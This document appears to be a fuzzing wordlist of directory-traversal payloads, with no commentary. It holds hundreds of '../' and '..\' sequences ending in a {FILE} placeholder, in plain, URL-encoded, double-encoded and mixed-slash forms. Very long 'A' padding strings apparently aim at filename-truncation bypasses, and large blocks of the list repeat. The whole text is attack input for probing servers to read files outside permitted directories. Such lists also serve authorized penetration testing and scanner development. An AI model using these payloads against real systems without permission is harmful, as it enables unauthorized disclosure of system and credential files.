..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
%2e%2e/{FILE}
%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
..%252f{FILE}
..%252f..%252f{FILE}
..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
%252e%252e/{FILE}
%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
..\{FILE}
..\..\{FILE}
..\..\..\{FILE}
..\..\..\..\{FILE}
..\..\..\..\..\{FILE}
..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\..\{FILE}
..%5c{FILE}
..%5c..%5c{FILE}
..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
%2e%2e\{FILE}
%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
..%255c{FILE}
..%255c..%255c{FILE}
..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
%252e%252e\{FILE}
%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
../{FILE}
../../{FILE}
../../../{FILE}
../../../../{FILE}
../../../../../{FILE}
../../../../../../{FILE}
../../../../../../../{FILE}
../../../../../../../../{FILE}
..%2f{FILE}
..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
%2e%2e/{FILE}
%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
..%252f{FILE}
..%252f..%252f{FILE}
..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
%252e%252e/{FILE}
%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
..\{FILE}
..\..\{FILE}
..\..\..\{FILE}
..\..\..\..\{FILE}
..\..\..\..\..\{FILE}
..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\..\{FILE}
..%5c{FILE}
..%5c..%5c{FILE}
..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
%2e%2e\{FILE}
%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
..%255c{FILE}
..%255c..%255c{FILE}
..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
%252e%252e\{FILE}
%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
\../{FILE}
\../\../{FILE}
\../\../\../{FILE}
\../\../\../\../{FILE}
\../\../\../\../\../{FILE}
\../\../\../\../\../\../{FILE}
\../\../\../\../\../\../\../{FILE}
\../\../\../\../\../\../\../\../{FILE}
/..\{FILE}
/..\/..\{FILE}
/..\/..\/..\{FILE}
/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\/..\/..\/..\{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}
